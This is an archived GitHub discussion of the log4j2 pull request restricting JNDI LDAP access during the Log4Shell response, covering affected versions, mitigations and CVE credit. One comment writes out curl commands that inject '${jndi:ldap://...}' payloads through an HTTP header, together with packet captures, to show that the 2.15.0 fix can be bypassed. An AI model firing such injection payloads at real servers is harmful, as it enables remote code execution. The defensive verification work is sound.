URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992651914
> The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.
It was just pushed to cve.org and should be visible soon. We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs. The text of the entry was written by ASF.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] bynt commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
bynt commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992913606
> PR:N is for the original CVE. PR:H would be for modifying the config file, though we didn't publish separate CVEs for the different ways to exploit the same underlying issue.
OK, that's fitting!
Red Hat scores `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` at https://access.redhat.com/security/cve/CVE-2021-4104 which made me wonder.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] sellexx-stephan commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
sellexx-stephan commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993056104
sorry for asking twice.
Would it match to shutdown tomcat, remove the lookup class using the zip command given in https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306 and then restart tomcat.
Is that what you mean in case of tomcat? I appreciate answer. Thanks.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990661374
> @remkop Which description is correct ?
@linux-ops You are asking me? Well, in my totally objective, completely unbiased opinion, there is no doubt that my comment is correct. ;-) 😜 But it is possible that others have a different opinion.
Anyway, jokes aside, I understand that the HackerNews discussion got a bit confusing. However, my [earlier comment does mention](https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126) the reason why we believe Log4j 1.x **_is_** impacted: it contains a JMS Appender which can use JNDI. Also note that Log4j 1.x is [End of Life](https://logging.apache.org/log4j/1.2/) and has [other security vulnerabilities](https://www.cvedetails.com/cve/CVE-2019-17571/) that will not be fixed.
**Update (2021-12-11 09:04 JST): according to [this analysis](https://twitter.com/ceki/status/1469449618316533762) by @ceki (the author of log4j 1.x), Log4j 1.x is not impacted, since it does not have lookups, and the JMS Appender only loads Strings from the remote server, not serialized objects.**
**Update (2021-12-12 10:09 JST): according to [this analysis](https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301) by @TopStreamsNet, strictly speaking, applications using Log4j 1.x may be impacted if their configuration uses JNDI. However, the risk is much lower.**
To summarize: ~~Log4j 1.x is also impacted~~, and we recommend using Log4j 2.15.0 instead.
To answer your first question:
I believe that applications that use `log4j-api` with `log4j-to-slf4j`, without using `log4j-core`, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in `log4j-core`.)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993182759
Yes, removing the JMSAppender class would mitigate one of the main issues there. I'd recommend removing SocketServer while you're at it as that's affected by an older CVE.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992726081
> Thank you Gary, Is there a way to make sure JMS Appender is disabled? Just to make sure that even if one of the installed Eclipse plug-ins is configured in a risky way, the vulnerability is addressed.
No.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] vlsi commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
vlsi commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993430513
I see a lot of comments that "log4j 1.x has reached its end of life". However, is there a chance there will be log4j 1.2.18 that just removes the offending features (e.g. JMSAppender, JmsSink, Chainsaw, SocketServer, SocketNode)?
It just does not sound right that the only log4j team answer is "migrate to 2.x or try removing class files from jars".
The issue is that log4j2 is not really a drop-in replacement for log4j1, and there are a lot of users that can't migrate because they would need to adjust their code and configuration files. Is there true maintenance overhead associated with removing certain classes from the source and removing the corresponding tests?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] mageshwarang edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
mageshwarang edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990765517
@remkop Thanks for clarifying on the log4j 1.x. One of my old application is still using `log4j-1.2.17` and few of my applications are using `log4j-over-slf4j`. But none of them have any dependencies on the `log4j-core`. So as you had mentioned here,
> I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in log4j-core.)
I am not making any changes to my application - Not upgrading it to the `2.15.0` or not adding any system-properties (`log4j2.formatMsgNoLookups=true`) to overcome this vulnerability as my application will not be impacted.
Kindly correct me if I am wrong.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] peturthors commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
peturthors commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991139464
> Can't find much info about it.
grep-ing through the source code for jdk-11.0.1 we get
`src/java.naming/com/sun/jndi/ldap/VersionHelper.java: PrivilegedAction<String> act =
src/java.naming/com/sun/jndi/ldap/VersionHelper.java: () -> System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");`
and
`src/jdk.naming.rmi/com/sun/jndi/rmi/registry/RegistryContext.java: PrivilegedAction<String> act = () -> System.getProperty(
src/jdk.naming.rmi/com/sun/jndi/rmi/registry/RegistryContext.java: "com.sun.jndi.rmi.object.trustURLCodebase", "false");
`
So I'm guessing jdk-11.0.1 and later set these properties to false by default.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991352666
Take the example as warning not to try re-enabling the disabled feature!
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991730650
**If the attacker can modify the config file on some system S, then that S can be assumed to be already penetrated to a large extent.**
If the attacker can modify log4j.properties (log4j 1.x), she she does not need to download malicious code, she can just as easily place malicious class files in the classpath and have them executed
> @ceki @remkop - it is not exactly true that it doesn't suffer from lookup issue though.
>
> If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] lawndoc edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
lawndoc edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991297822
I think [this fix may have been bypassed](https://twitter.com/stereotype32/status/1469313856229228544?s=20) and that the latest release is still vulnerable... Haven't verified this for myself yet, just reporting what I just found
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki removed a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki removed a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991796194
> > When there are literally millions of log4j 1.x users out there, can you stop toying around?
> > There is no lookup expansion in log4j 1.x and it does not suffer from [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q). How hard is it to admit?
>
> Hi @ceki, thank you for clarifying that Log4j 1.x is not impacted by this vulnerability. I updated my previous comments by linking to [your analysis on Twitter](https://twitter.com/ceki/status/1469449618316533762), happy to link to other sources as well.
There are actually two vulnerabilities. The one outlined here and CVE-2021-44228. Log4j 1.x is not vulnerable to CVE-2021-44228. However, it is vulnerable to lesser JNDI injection exploits, that is to an attacker already having write access to its config file.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991380319
When there are literally millions of log4j 1.x users out there, can you stop toying around?
There is no lookup expansion in log4j 1.x and it does not suffer from CVE-2021-44228. How hard is it to admit?
Having said this, log4j 1.x is no longer being maintained with all the security implications that situation entails. Thus, you should seriously consider migrating to one of log4j 1.x successors such as SLF4J/logback, although you probably do not need to do so today with the utmost urgency.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990758663
> @remkop , thanks for your reply. Just want to make it more clear, because many people reach this issue mainly for the "JNDI lookup" CVE, so, for log4j 1.x, although it contains JMS Appender. But if the "JMS Appender" is not used for log4j 1.x (the usage of JMS Appender is rare), then, it should be not affected by this vulnerable RCE, is this correct?
>
> > To summarize: Log4j 1.x is also impacted, and we recommend using Log4j 2.15.0 instead.
@Baoqi Okay, let me be very clear: Log4j 1.x became [End of Life](https://logging.apache.org/log4j/1.2/) 6 years ago! Anyone who wants to continue using it can do their own risk assessment. :-)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] mosajjal commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
mosajjal commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991249117
Ah cool thanks for confirming. The tag in Github repo doesn't show that
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] kmindi edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
kmindi edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993399258
Following up on my question if this fixes usage with other property substitutions like ctx: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992427010
Apparently I could confirm my assumption regarding the usage of Thread Context Map, I created a PR here (https://github.com/lunasec-io/lunasec/pull/298) and made changes to the demonstration app to demonstrate the vulnerability even with `formatMsgNoLookups=true` set shown here: https://github.com/kmindi/log4shell-vulnerable-app.
Here is also the diff to see what I changed to demonstrate vulnerable `${ctx.apiversion}` usage in the log pattern: https://github.com/kmindi/log4shell-vulnerable-app/commit/e539f7e9a0c81e2c580d63caff5f4eae14033f19
Can someone confirm this?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] SpComb edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
SpComb edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993469509
> Following up on my question if this fixes usage with other property substitutions like ctx: [#608 (comment)](https://github.com/apache/logging-log4j2/pull/608#issuecomment-992427010)
>
> Apparently I could confirm my assumption regarding the usage of Thread Context Map, I created a PR here ([lunasec-io/lunasec#298](https://github.com/lunasec-io/lunasec/pull/298)) and made changes to the demonstration app to demonstrate the vulnerability even with `formatMsgNoLookups=true` set shown here: https://github.com/kmindi/log4shell-vulnerable-app.
>
> Here is also the diff to see what I changed to demonstrate vulnerable `${ctx.apiversion}` usage in the log pattern: [kmindi/log4shell-vulnerable-app@e539f7e](https://github.com/kmindi/log4shell-vulnerable-app/commit/e539f7e9a0c81e2c580d63caff5f4eae14033f19)
>
> Can someone confirm this?
Yes: `curl -v 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}'` results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:
```
41 17.676741911 172.17.0.1 -> 172.17.0.2 HTTP 209 GET / HTTP/1.1
42 17.676769664 172.17.0.2 -> 172.17.0.1 TCP 66 8080 > 56934 [ACK] Seq=1 Ack=144 Win=30080 Len=0 TSval=346936700 TSecr=2382643118
43 17.680613689 172.17.0.2 -> 10.52.0.2 DNS 79 Standard query 0xffa9 A example.net
44 17.680814368 10.52.0.2 -> 172.17.0.2 DNS 79 Standard query response 0xffa9 No such name
45 17.687397342 172.17.0.2 -> 172.17.0.1 HTTP 193 HTTP/1.1 200 (text/plain)
```
The bad news: this seems to also work with 2.15.0, `X-Api-Version: ${jndi:ldap://localhost/test}` results in a TCP connection to localhost:389:
```
$ docker exec -it log4shell-vulnerable-app jar -tvf /app/spring-boot-application.jar | grep log4j
828 Tue Dec 14 11:55:34 GMT 2021 BOOT-INF/classes/log4j2.properties
24231 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-slf4j-impl-2.15.0.jar
1789769 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-core-2.15.0.jar
30947 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-jul-2.15.0.jar
301804 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-api-2.15.0.jar
```
```
$ curl -v "$(docker inspect -f '{{.NetworkSettings.IPAddress}}' log4shell-vulnerable-app):8080/" -H 'X-Api-Version: ${jndi:ldap://localhost/test}'
* Trying 172.17.0.2:8080...
* Connected to 172.17.0.2 (172.17.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: 172.17.0.2:8080
> User-Agent: curl/7.76.1
> Accept: */*
> X-Api-Version: ${jndi:ldap://localhost/test}
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Tue, 14 Dec 2021 11:57:10 GMT
<
* Connection #0 to host 172.17.0.2 left intact
Hello, world![
```
```
$ sudo nsenter -t "$(docker inspect -f '{{.State.Pid}}' log4shell-vulnerable-app)" -n tshark -i lo -n
Running as user "root" and group "root". This could be dangerous.
Capturing on 'Loopback'
1 0.000000000 127.0.0.1 -> 127.0.0.1 TCP 74 38380 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426441 TSecr=0 WS=128
2 0.000013194 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38380 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
3 0.023625945 127.0.0.1 -> 127.0.0.1 TCP 74 38382 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426464 TSecr=0 WS=128
4 0.023636425 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38382 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
5 0.027652034 127.0.0.1 -> 127.0.0.1 TCP 74 38384 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426468 TSecr=0 WS=128
6 0.027662963 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38384 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
7 0.042974136 127.0.0.1 -> 127.0.0.1 TCP 74 38386 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426484 TSecr=0 WS=128
8 0.042985398 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38386 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
```
This requires a [pattern configured to use `${ctx:...}` lookups](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/resources/log4j2.properties#L15-L16
) with [attacker-controlled `ThreadContext` values](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java#L20-L22), which seem to get expanded recursively.
The 2.15.x JNDI restrictions work correctly (no DNS lookups for `example.net`, only `localhost` connections), but the 2.10.x `-Dlog4j2.formatMsgNoLookups=true` / 2.15.x https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to `${ctx:...}` lookups.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] yjqg6666 edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
yjqg6666 edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994210122
For anyone following this issue. If you are using spring 4.3.27 or later/above, you could use spring.jndi.ignore=true to disable jndi completely using jvm properties or JAVA_OPTS environment variable if upgrade option is not your choice.
Reference: https://github.com/spring-projects/spring-boot/issues/5419
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994307693
I reported this denial of Service Vulnerability (cve-2021-45046) to the logging PMC last week. Although I didn't propose threadcontext, I explained the trigger method of the denial of service vulnerability. In terms of time, I should have proposed it earlier, but I didn't see my name in the CVE credit. I hope my name can also be added to the CVE credit. 4ra1n
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995427431
> > @remkop Thank you for your reply I sent a vulnerability report to [private@logging.apache.org](mailto:private@logging.apache.org) on December 10 and received a reply and thanks from **Ralgh Goers** five hours later. **[CVE-2021-45046](https://github.com/advisories/GHSA-7rjr-3q55-vv33)** seems to have been proposed two days ago. It seems that I am ahead. I just hope my name: 4ra1n can join credit of `CVE-2021-45046` on the page `https://logging.apache.org/log4j/2.x/security.htm` I hope you can remember to add my name after your current work. I will be very grateful
>
> @EmYiQing The bug was originally disclosed to Apache on November 24th by Chen Zhaojun of Alibaba Cloud Security Team - https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/
>
> https://logging.apache.org/log4j/2.x/security.html 
@EmYiQing I updated the credit section for the `CVE-2021-45046` vulnerability on the [security](https://logging.apache.org/log4j/2.x/security.html#CVE-2021-45046) page. We will change the CVE itself next. Thank you again very much for your contribution!
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] rgoers commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
rgoers commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r759849806
##########
File path: log4j-core/src/test/java/org/apache/logging/log4j/core/lookup/JndiLdapLookupTest.java
##########
@@ -0,0 +1,124 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.lookup;
+
+import javax.naming.Context;
+import javax.naming.NamingException;
+import javax.naming.Reference;
+import javax.naming.Referenceable;
+import javax.naming.StringRefAddr;
+
+import org.apache.logging.log4j.Level;
+import org.apache.logging.log4j.message.SimpleMessage;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.zapodot.junit.ldap.EmbeddedLdapRule;
+import org.zapodot.junit.ldap.EmbeddedLdapRuleBuilder;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+/**
+ * JndiLookupTest
+ */
+public class JndiLdapLookupTest {
Review comment:
I tested that before I wrote any code. Once the code was added it isn't possible for it to happen any more as we no longer support Referenceable objects and there is no way to re-enable them. They are simply too dangerous.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r759869682
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -17,31 +17,76 @@
package org.apache.logging.log4j.core.net;
+import java.io.Serializable;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
import java.util.Properties;
import java.util.concurrent.TimeUnit;
import javax.naming.Context;
-import javax.naming.InitialContext;
+import javax.naming.NameClassPair;
+import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
+import javax.naming.Referenceable;
+import javax.naming.directory.Attribute;
+import javax.naming.directory.Attributes;
+import javax.naming.directory.DirContext;
+import javax.naming.directory.InitialDirContext;
import org.apache.logging.log4j.core.appender.AbstractManager;
import org.apache.logging.log4j.core.appender.ManagerFactory;
import org.apache.logging.log4j.core.util.JndiCloser;
+import org.apache.logging.log4j.core.util.NetUtils;
+import org.apache.logging.log4j.util.PropertiesUtil;
/**
- * Manages a JNDI {@link javax.naming.Context}.
+ * Manages a JNDI {@link javax.naming.directory.DirContext}.
*
* @since 2.1
*/
public class JndiManager extends AbstractManager {
+ public static final String ALLOWED_HOSTS = "allowedLdapHosts";
+ public static final String ALLOWED_CLASSES = "allowedLdapClasses";
+
private static final JndiManagerFactory FACTORY = new JndiManagerFactory();
+ private static final String PREFIX = "log4j2.";
+ private static final List<String> permanentAllowedHosts = new ArrayList<>();
+ private static final List<String> permanentAllowedClasses = new ArrayList<>();
Review comment:
I agree with @carterkozak that lower-case feels more appropriate since these are not immutable lists.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] vy commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
vy commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r759193685
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -17,31 +17,76 @@
package org.apache.logging.log4j.core.net;
+import java.io.Serializable;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
import java.util.Properties;
import java.util.concurrent.TimeUnit;
import javax.naming.Context;
-import javax.naming.InitialContext;
+import javax.naming.NameClassPair;
+import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
+import javax.naming.Referenceable;
+import javax.naming.directory.Attribute;
+import javax.naming.directory.Attributes;
+import javax.naming.directory.DirContext;
+import javax.naming.directory.InitialDirContext;
import org.apache.logging.log4j.core.appender.AbstractManager;
import org.apache.logging.log4j.core.appender.ManagerFactory;
import org.apache.logging.log4j.core.util.JndiCloser;
+import org.apache.logging.log4j.core.util.NetUtils;
+import org.apache.logging.log4j.util.PropertiesUtil;
/**
- * Manages a JNDI {@link javax.naming.Context}.
+ * Manages a JNDI {@link javax.naming.directory.DirContext}.
*
* @since 2.1
*/
public class JndiManager extends AbstractManager {
+ public static final String ALLOWED_HOSTS = "allowedLdapHosts";
+ public static final String ALLOWED_CLASSES = "allowedLdapClasses";
+
private static final JndiManagerFactory FACTORY = new JndiManagerFactory();
+ private static final String PREFIX = "log4j2.";
+ private static final List<String> permanentAllowedHosts = new ArrayList<>();
+ private static final List<String> permanentAllowedClasses = new ArrayList<>();
Review comment:
Mind upper-casing these two `static`s, please?
##########
File path: log4j-core/src/test/java/org/apache/logging/log4j/core/lookup/JndiExploit.java
##########
@@ -0,0 +1,36 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.lookup;
+
+import javax.naming.Context;
+import javax.naming.Name;
+import javax.naming.spi.ObjectFactory;
+import java.util.Hashtable;
+
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * Test LDAP object
Review comment:
```suggestion
* Malicious LDAP object that shouldn't be deserialized.
*
* @see JndiLdapLookupTest
```
##########
File path: log4j-core/src/test/java/org/apache/logging/log4j/core/lookup/JndiLdapLookupTest.java
##########
@@ -0,0 +1,124 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
